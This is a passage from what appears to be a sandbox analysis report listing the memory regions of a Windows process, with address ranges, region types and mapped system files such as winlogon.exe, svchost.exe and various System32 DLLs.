	        start_va = 0x280000
	          end_va = 0x33ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000280000"
	        filename = ""

Region:
	              id = 2895
	        start_va = 0x340000
	          end_va = 0x35ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000340000"
	        filename = ""

Region:
	              id = 2896
	        start_va = 0x360000
	          end_va = 0x36ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000360000"
	        filename = ""

Region:
	              id = 2897
	        start_va = 0x370000
	          end_va = 0x46ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000370000"
	        filename = ""

Region:
	              id = 2898
	        start_va = 0x470000
	          end_va = 0x5f7fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000470000"
	        filename = ""

Region:
	              id = 2899
	        start_va = 0x600000
	          end_va = 0x780fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000600000"
	        filename = ""

Region:
	              id = 2900
	        start_va = 0x790000
	          end_va = 0xb82fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000790000"
	        filename = ""

Region:
	              id = 2901
	        start_va = 0xb90000
	          end_va = 0xbcffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000b90000"
	        filename = ""

Region:
	              id = 2902
	        start_va = 0xbd0000
	          end_va = 0xbeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000bd0000"
	        filename = ""

Region:
	              id = 2903
	        start_va = 0xbf0000
	          end_va = 0xc0ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000bf0000"
	        filename = ""

Region:
	              id = 2904
	        start_va = 0xc10000
	          end_va = 0xc10fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000c10000"
	        filename = ""

Region:
	              id = 2905
	        start_va = 0xc20000
	          end_va = 0xc20fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000c20000"
	        filename = ""

Region:
	              id = 2906
	        start_va = 0xc30000
	          end_va = 0xcaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000c30000"
	        filename = ""

Region:
	              id = 2907
	        start_va = 0xcb0000
	          end_va = 0xcb0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000cb0000"
	        filename = ""

Region:
	              id = 2908
	        start_va = 0xcc0000
	          end_va = 0xcc0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000cc0000"
	        filename = ""

Region:
	              id = 2909
	        start_va = 0xcd0000
	          end_va = 0xcd1fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000cd0000"
	        filename = ""

Region:
	              id = 2910
	        start_va = 0xce0000
	          end_va = 0xce0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000ce0000"
	        filename = ""

Region:
	              id = 2911
	        start_va = 0xcf0000
	          end_va = 0xcf2fff
	     entry_point = 0xcf0000
	     region_type = mapped_file
	            name = "winmgmtr.dll"
	        filename = "\\Windows\\System32\\wbem\\WinMgmtR.dll" (normalized: "c:\\windows\\system32\\wbem\\winmgmtr.dll")

Region:
	              id = 2912
	        start_va = 0xd80000
	          end_va = 0xde1fff
	     entry_point = 0xd80000
	     region_type = mapped_file
	            name = "winlogon.exe"
	        filename = "\\Windows\\System32\\winlogon.exe" (normalized: "c:\\windows\\system32\\winlogon.exe")

Region:
	              id = 2913
	        start_va = 0xdf0000
	          end_va = 0xdf1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000df0000"
	        filename = ""

Region:
	              id = 2914
	        start_va = 0xe00000
	          end_va = 0xe00fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000e00000"
	        filename = ""

Region:
	              id = 2915
	        start_va = 0xe10000
	          end_va = 0xe10fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000e10000"
	        filename = ""

Region:
	              id = 2916
	        start_va = 0xe50000
	          end_va = 0xe57fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000e50000"
	        filename = ""

Region:
	              id = 2917
	        start_va = 0xe60000
	          end_va = 0xedffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000e60000"
	        filename = ""

Region:
	              id = 2918
	        start_va = 0xf10000
	          end_va = 0xf8ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000f10000"
	        filename = ""

Region:
	              id = 2919
	        start_va = 0xf90000
	          end_va = 0xff1fff
	     entry_point = 0xf90000
	     region_type = mapped_file
	            name = "winlogon.exe"
	        filename = "\\Windows\\System32\\winlogon.exe" (normalized: "c:\\windows\\system32\\winlogon.exe")

Region:
	              id = 2920
	        start_va = 0x1060000
	          end_va = 0x132efff
	     entry_point = 0x1060000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 2921
	        start_va = 0x1330000
	          end_va = 0x142ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001330000"
	        filename = ""

Region:
	              id = 2922
	        start_va = 0x1450000
	          end_va = 0x14cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001450000"
	        filename = ""

Region:
	              id = 2923
	        start_va = 0x1530000
	          end_va = 0x15affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001530000"
	        filename = ""

Region:
	              id = 2924
	        start_va = 0x15d0000
	          end_va = 0x164ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000015d0000"
	        filename = ""

Region:
	              id = 2925
	        start_va = 0x1650000
	          end_va = 0x16cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001650000"
	        filename = ""

Region:
	              id = 2926
	        start_va = 0x17e0000
	          end_va = 0x18dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000017e0000"
	        filename = ""

Region:
	              id = 2927
	        start_va = 0x1910000
	          end_va = 0x198ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001910000"
	        filename = ""

Region:
	              id = 2928
	        start_va = 0x19a0000
	          end_va = 0x1a1ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000019a0000"
	        filename = ""

Region:
	              id = 2929
	        start_va = 0x1a30000
	          end_va = 0x1aaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001a30000"
	        filename = ""

Region:
	              id = 2930
	        start_va = 0x1ab0000
	          end_va = 0x1b2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001ab0000"
	        filename = ""

Region:
	              id = 2931
	        start_va = 0x1b30000
	          end_va = 0x1baffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001b30000"
	        filename = ""

Region:
	              id = 2932
	        start_va = 0x1bd0000
	          end_va = 0x1c4ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001bd0000"
	        filename = ""

Region:
	              id = 2933
	        start_va = 0x1c60000
	          end_va = 0x1cdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001c60000"
	        filename = ""

Region:
	              id = 2934
	        start_va = 0x1cf0000
	          end_va = 0x1d6ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001cf0000"
	        filename = ""

Region:
	              id = 2935
	        start_va = 0x1d80000
	          end_va = 0x1f7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001d80000"
	        filename = ""

Region:
	              id = 2936
	        start_va = 0x1f80000
	          end_va = 0x1ffffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001f80000"
	        filename = ""

Region:
	              id = 2937
	        start_va = 0x2000000
	          end_va = 0x207ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002000000"
	        filename = ""

Region:
	              id = 2938
	        start_va = 0x20a0000
	          end_va = 0x211ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000020a0000"
	        filename = ""

Region:
	              id = 2939
	        start_va = 0x2120000
	          end_va = 0x251ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002120000"
	        filename = ""

Region:
	              id = 2940
	        start_va = 0x2520000
	          end_va = 0x259ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002520000"
	        filename = ""

Region:
	              id = 2941
	        start_va = 0x25a0000
	          end_va = 0x261ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000025a0000"
	        filename = ""

Region:
	              id = 2942
	        start_va = 0x26a0000
	          end_va = 0x271ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000026a0000"
	        filename = ""

Region:
	              id = 2943
	        start_va = 0x2720000
	          end_va = 0x2b22fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002720000"
	        filename = ""

Region:
	              id = 2944
	        start_va = 0x2ba0000
	          end_va = 0x2c1ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002ba0000"
	        filename = ""

Region:
	              id = 2945
	        start_va = 0x2c20000
	          end_va = 0x341ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002c20000"
	        filename = ""

Region:
	              id = 2946
	        start_va = 0x3430000
	          end_va = 0x34affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003430000"
	        filename = ""

Region:
	              id = 2947
	        start_va = 0x3530000
	          end_va = 0x35affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003530000"
	        filename = ""

Region:
	              id = 2948
	        start_va = 0x35b0000
	          end_va = 0x362ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000035b0000"
	        filename = ""

Region:
	              id = 2949
	        start_va = 0x3670000
	          end_va = 0x36effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003670000"
	        filename = ""

Region:
	              id = 2950
	        start_va = 0x3770000
	          end_va = 0x386ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003770000"
	        filename = ""

Region:
	              id = 2951
	        start_va = 0x38d0000
	          end_va = 0x394ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000038d0000"
	        filename = ""

Region:
	              id = 2952
	        start_va = 0x3950000
	          end_va = 0x39cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003950000"
	        filename = ""

Region:
	              id = 2953
	        start_va = 0x39d0000
	          end_va = 0x3a4ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000039d0000"
	        filename = ""

Region:
	              id = 2954
	        start_va = 0x3a70000
	          end_va = 0x3aeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003a70000"
	        filename = ""

Region:
	              id = 2955
	        start_va = 0x3b00000
	          end_va = 0x3b7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003b00000"
	        filename = ""

Region:
	              id = 2956
	        start_va = 0x3ba0000
	          end_va = 0x3c1ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003ba0000"
	        filename = ""

Region:
	              id = 2957
	        start_va = 0x3cb0000
	          end_va = 0x3d2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003cb0000"
	        filename = ""

Region:
	              id = 2958
	        start_va = 0x3d30000
	          end_va = 0x3daffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003d30000"
	        filename = ""

Region:
	              id = 2959
	        start_va = 0x3e20000
	          end_va = 0x3e9ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003e20000"
	        filename = ""

Region:
	              id = 2960
	        start_va = 0x3ea0000
	          end_va = 0x3f1ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003ea0000"
	        filename = ""

Region:
	              id = 2961
	        start_va = 0x3f30000
	          end_va = 0x3faffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003f30000"
	        filename = ""

Region:
	              id = 2962
	        start_va = 0x3fe0000
	          end_va = 0x405ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003fe0000"
	        filename = ""

Region:
	              id = 2963
	        start_va = 0x40e0000
	          end_va = 0x415ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000040e0000"
	        filename = ""

Region:
	              id = 2964
	        start_va = 0x42b0000
	          end_va = 0x432ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000042b0000"
	        filename = ""

Region:
	              id = 2965
	        start_va = 0x75940000
	          end_va = 0x75942fff
	     entry_point = 0x75940000
	     region_type = mapped_file
	            name = "winmgmtr.dll"
	        filename = "\\Windows\\System32\\wbem\\WinMgmtR.dll" (normalized: "c:\\windows\\system32\\wbem\\winmgmtr.dll")

Region:
	              id = 2966
	        start_va = 0x77a20000
	          end_va = 0x77b19fff
	     entry_point = 0x77a20000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 2967
	        start_va = 0x77b20000
	          end_va = 0x77c3efff
	     entry_point = 0x77b20000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 2968
	        start_va = 0x77c40000
	          end_va = 0x77de8fff
	     entry_point = 0x77c40000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 2969
	        start_va = 0x7efe0000
	          end_va = 0x7f0dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efe0000"
	        filename = ""

Region:
	              id = 2970
	        start_va = 0x7f0e0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f0e0000"
	        filename = ""

Region:
	              id = 2971
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 2972
	        start_va = 0xffc20000
	          end_va = 0xffc2afff
	     entry_point = 0xffc20000
	     region_type = mapped_file
	            name = "svchost.exe"
	        filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe")

Region:
	              id = 2973
	        start_va = 0xfffb0000
	          end_va = 0x100002fff
	     entry_point = 0xfffb0000
	     region_type = mapped_file
	            name = "services.exe"
	        filename = "\\Windows\\System32\\services.exe" (normalized: "c:\\windows\\system32\\services.exe")

Region:
	              id = 2974
	        start_va = 0x7fee00f0000
	          end_va = 0x7fee019dfff
	     entry_point = 0x7fee00f0000
	     region_type = mapped_file
	            name = "wuapi.dll"
	        filename = "\\Windows\\System32\\wuapi.dll" (normalized: "c:\\windows\\system32\\wuapi.dll")

Region:
	              id = 2975
	        start_va = 0x7fee0470000
	          end_va = 0x7fee0594fff
	     entry_point = 0x7fee0470000
	     region_type = mapped_file
	            name = "dbghelp.dll"
	        filename = "\\Windows\\System32\\dbghelp.dll" (normalized: "c:\\windows\\system32\\dbghelp.dll")

Region:
	              id = 2976
	        start_va = 0x7fee06f0000
	          end_va = 0x7fee070bfff
	     entry_point = 0x7fee06f0000
	     region_type = mapped_file
	            name = "wscsvc.dll"
	        filename = "\\Windows\\System32\\wscsvc.dll" (normalized: "c:\\windows\\system32\\wscsvc.dll")

Region:
	              id = 2977
	        start_va = 0x7fef5e10000
	          end_va = 0x7fef5e23fff
	     entry_point = 0x7fef5e10000
	     region_type = mapped_file
	            name = "wbemsvc.dll"
	        filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll")

Region:
	              id = 2978
	        start_va = 0x7fef6370000
	          end_va = 0x7fef6396fff
	     entry_point = 0x7fef6370000
	     region_type = mapped_file
	            name = "ntdsapi.dll"
	        filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll")

Region:
	              id = 2979
	        start_va = 0x7fef63a0000
	          end_va = 0x7fef6481fff
	     entry_point = 0x7fef63a0000
	     region_type = mapped_file
	            name = "fastprox.dll"
	        filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll")

Region:
	              id = 2980
	        start_va = 0x7fef7de0000
	          end_va = 0x7fef7dfafff
	     entry_point = 0x7fef7de0000
	     region_type = mapped_file
	            name = "cabinet.dll"
	        filename = "\\Windows\\System32\\cabinet.dll" (normalized: "c:\\windows\\system32\\cabinet.dll")

Region:
	              id = 2981
	        start_va = 0x7fef8240000
	          end_va = 0x7fef828efff
	     entry_point = 0x7fef8240000
	     region_type = mapped_file
	            name = "audioses.dll"
	        filename = "\\Windows\\System32\\AudioSes.dll" (normalized: "c:\\windows\\system32\\audioses.dll")

Region:
	              id = 2982
	        start_va = 0x7fef9660000
	          end_va = 0x7fef9677fff
	     entry_point = 0x7fef9660000
	     region_type = mapped_file
	            name = "dhcpcsvc.dll"
	        filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll")

Region:
	              id = 2983
	        start_va = 0x7fef9680000
	          end_va = 0x7fef9690fff
	     entry_point = 0x7fef9680000
	     region_type = mapped_file
	            name = "dhcpcsvc6.dll"
	        filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll")

Region:
	              id = 2984
	        start_va = 0x7fef9740000
	          end_va = 0x7fef977afff
	     entry_point = 0x7fef9740000
	     region_type = mapped_file
	            name = "dhcpcore6.dll"
	        filename = "\\Windows\\System32\\dhcpcore6.dll" (normalized: "c:\\windows\\system32\\dhcpcore6.dll")

Region:
	              id = 2985
	        start_va = 0x7fef9780000
	          end_va = 0x7fef97d0fff
	     entry_point = 0x7fef9780000
	     region_type = mapped_file
	            name = "dhcpcore.dll"
	        filename = "\\Windows\\System32\\dhcpcore.dll" (normalized: "c:\\windows\\system32\\dhcpcore.dll")

Region:
	              id = 2986
	        start_va = 0x7fef97f0000
	          end_va = 0x7fef97f7fff
	     entry_point = 0x7fef97f0000
	     region_type = mapped_file
	            name = "nrpsrv.dll"
	        filename = "\\Windows\\System32\\nrpsrv.dll" (normalized: "c:\\windows\\system32\\nrpsrv.dll")

Region:
	              id = 2987
	        start_va = 0x7fef9800000
	          end_va = 0x7fef9809fff
	     entry_point = 0x7fef9800000
	     region_type = mapped_file
	            name = "lmhsvc.dll"
	        filename = "\\Windows\\System32\\lmhsvc.dll" (normalized: "c:\\windows\\system32\\lmhsvc.dll")

Region:
	              id = 2988
	        start_va = 0x7fefb670000
	          end_va = 0x7fefb67afff
	     entry_point = 0x7fefb670000
	     region_type = mapped_file
	            name = "winnsi.dll"
	        filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll")

Region:
	              id = 2989
	        start_va = 0x7fefb680000
	          end_va = 0x7fefb6a6fff
	     entry_point = 0x7fefb680000
	     region_type = mapped_file
	            name = "iphlpapi.dll"
	        filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll")

Region:
	              id = 2990
	        start_va = 0x7fefbb50000
	          end_va = 0x7fefbb58fff
	     entry_point = 0x7fefbb50000
	     region_type = mapped_file
	            name = "avrt.dll"
	        filename = "\\Windows\\System32\\avrt.dll" (normalized: "c:\\windows\\system32\\avrt.dll")

Region:
	              id = 2991
	        start_va = 0x7fefbb60000
	          end_va = 0x7fefbc0bfff
	     entry_point = 0x7fefbb60000
	     region_type = mapped_file
	            name = "audiosrv.dll"
	        filename = "\\Windows\\System32\\audiosrv.dll" (normalized: "c:\\windows\\system32\\audiosrv.dll")

Region:
	              id = 2992
	        start_va = 0x7fefbcd0000
	          end_va = 0x7fefbd55fff
	     entry_point = 0x7fefbcd0000
	     region_type = mapped_file
	            name = "wbemcomn.dll"
	        filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll")

Region:
	              id = 2993
	        start_va = 0x7fefbd80000
	          end_va = 0x7fefbd94fff
	     entry_point = 0x7fefbd80000
	     region_type = mapped_file
	            name = "wkscli.dll"
	        filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll")

Region:
	              id = 2994
	        start_va = 0x7fefbda0000
	          end_va = 0x7fefbdabfff
	     entry_point = 0x7fefbda0000
	     region_type = mapped_file
	            name = "netutils.dll"
	        filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll")

Region:
	              id = 2995
	        start_va = 0x7fefbf00000
	          end_va = 0x7fefbf0efff
	     entry_point = 0x7fefbf00000
	     region_type = mapped_file
	            name = "wbemprox.dll"
	        filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll")

Region:
	              id = 2996
	        start_va = 0x7fefc0a0000
	          end_va = 0x7fefc0eafff
	     entry_point = 0x7fefc0a0000
	     region_type = mapped_file
	            name = "mmdevapi.dll"
	        filename = "\\Windows\\System32\\MMDevAPI.dll" (normalized: "c:\\windows\\system32\\mmdevapi.dll")

Region:
	              id = 2997
	        start_va = 0x7fefc510000
	          end_va = 0x7fefc63bfff
	     entry_point = 0x7fefc510000
	     region_type = mapped_file
	            name = "propsys.dll"
	        filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll")

Region:
	              id = 2998
	        start_va = 0x7fefcb80000
	          end_va = 0x7fefcbabfff
	     entry_point = 0x7fefcb80000
	     region_type = mapped_file
	            name = "powrprof.dll"
	        filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll")

Region:
	              id = 2999
	        start_va = 0x7fefcbb0000
	          end_va = 0x7fefcd45fff
	     entry_point = 0x7fefcbb0000
	     region_type = mapped_file
	            name = "wevtsvc.dll"
	        filename = "\\Windows\\System32\\wevtsvc.dll" (normalized: "c:\\windows\\system32\\wevtsvc.dll")

Region:
	              id = 3000
	        start_va = 0x7fefcd50000
	          end_va = 0x7fefcd5bfff
	     entry_point = 0x7fefcd50000
	     region_type = mapped_file
	            name = "version.dll"
	        filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll")

Region:
	              id = 3001
	        start_va = 0x7fefcd60000
	          end_va = 0x7fefce1afff
	     entry_point = 0x7fefcd60000
	     region_type = mapped_file
	            name = "firewallapi.dll"
	        filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll")

Region:
	              id = 3002
	        start_va = 0x7fefce20000
	          end_va = 0x7fefce26fff
	     entry_point = 0x7fefce20000
	     region_type = mapped_file
	            name = "wshtcpip.dll"
	        filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll")

Region:
	              id = 3003
	        start_va = 0x7fefcf10000
	          end_va = 0x7fefcf2afff
	     entry_point = 0x7fefcf10000
	     region_type = mapped_file
	            name = "gpapi.dll"
	        filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll")

Region:
	              id = 3004
	        start_va = 0x7fefcf30000
	          end_va = 0x7fefcf4dfff
	     entry_point = 0x7fefcf30000
	     region_type = mapped_file
	            name = "userenv.dll"
	        filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll")

Region:
	              id = 3005
	        start_va = 0x7fefd080000
	          end_va = 0x7fefd089fff
	     entry_point = 0x7fefd080000
	     region_type = mapped_file
	            name = "credssp.dll"
	        filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll")

Region:
	              id = 3006
	        start_va = 0x7fefd180000
	          end_va = 0x7fefd1c6fff
	     entry_point = 0x7fefd180000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")

Region:
	              id = 3007
	        start_va = 0x7fefd2a0000
	          end_va = 0x7fefd2fafff
	     entry_point = 0x7fefd2a0000
	     region_type = mapped_file
	            name = "dnsapi.dll"
	        filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll")

Region:
	              id = 3008
	        start_va = 0x7fefd410000
	          end_va = 0x7fefd416fff
	     entry_point = 0x7fefd410000
	     region_type = mapped_file
	            name = "wship6.dll"
	        filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll")

Region:
	              id = 3009
	        start_va = 0x7fefd420000
	          end_va = 0x7fefd474fff
	     entry_point = 0x7fefd420000
	     region_type = mapped_file
	            name = "mswsock.dll"
	        filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll")

Region:
	              id = 3010
	        start_va = 0x7fefd480000
	          end_va = 0x7fefd496fff
	     entry_point = 0x7fefd480000
	     region_type = mapped_file
	            name = "cryptsp.dll"
	        filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")

Region:
	              id = 3011
	        start_va = 0x7fefd6b0000
	          end_va = 0x7fefd71cfff
	     entry_point = 0x7fefd6b0000
	     region_type = mapped_file
	            name = "wevtapi.dll"
	        filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll")

Region:
	              id = 3012
	        start_va = 0x7fefda20000
	          end_va = 0x7fefda2afff
	     entry_point = 0x7fefda20000
	     region_type = mapped_file
	            name = "secur32.dll"
	        filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll")

Region:
	              id = 3013
	        start_va = 0x7fefda50000
	          end_va = 0x7fefda74fff
	     entry_point = 0x7fefda50000
	     region_type = mapped_file
	            name = "sspicli.dll"
	        filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll")

Region:
	              id = 3014
	        start_va = 0x7fefda80000
	          end_va = 0x7fefda8efff
	     entry_point = 0x7fefda80000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")

Region:
	              id = 3015
	        start_va = 0x7fefdb30000
	          end_va = 0x7fefdb6cfff
	     entry_point = 0x7fefdb30000
	     region_type = mapped_file
	            name = "winsta.dll"
	        filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll")

Region:
	              id = 3016
	        start_va = 0x7fefdb70000
	          end_va = 0x7fefdb83fff
	     entry_point = 0x7fefdb70000
	     region_type = mapped_file
	            name = "rpcrtremote.dll"
	        filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll")

Region:
	              id = 3017
	        start_va = 0x7fefdb90000
	          end_va = 0x7fefdb9efff
	     entry_point = 0x7fefdb90000
	     region_type = mapped_file
	            name = "profapi.dll"
	        filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")

Region:
	              id = 3018
	        start_va = 0x7fefdc30000
	          end_va = 0x7fefdc3efff
	     entry_point = 0x7fefdc30000
	     region_type = mapped_file
	            name = "msasn1.dll"
	        filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll")

Region:
	              id = 3019
	        start_va = 0x7fefdce0000
	          end_va = 0x7fefdd15fff
	     entry_point = 0x7fefdce0000
	     region_type = mapped_file
	            name = "cfgmgr32.dll"
	        filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll")

Region:
	              id = 3020
	        start_va = 0x7fefdd20000
	          end_va = 0x7fefdd59fff
	     entry_point = 0x7fefdd20000
	     region_type = mapped_file
	            name = "wintrust.dll"
	        filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll")

Region:
	              id = 3021
	        start_va = 0x7fefdd60000
	          end_va = 0x7fefddcafff
	     entry_point = 0x7fefdd60000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 3022
	        start_va = 0x7fefddd0000
	          end_va = 0x7fefdde9fff
	     entry_point = 0x7fefddd0000
	     region_type = mapped_file
	            name = "devobj.dll"
	        filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll")

Region:
	              id = 3023
	        start_va = 0x7fefddf0000
	          end_va = 0x7fefdf56fff
	     entry_point = 0x7fefddf0000
	     region_type = mapped_file
	            name = "crypt32.dll"
	        filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll")

Region:
	              id = 3024
	        start_va = 0x7fefdf60000
	          end_va = 0x7fefdfc6fff
	     entry_point = 0x7fefdf60000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 3025
	        start_va = 0x7fefed60000
	          end_va = 0x7fefed8dfff
	     entry_point = 0x7fefed60000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")

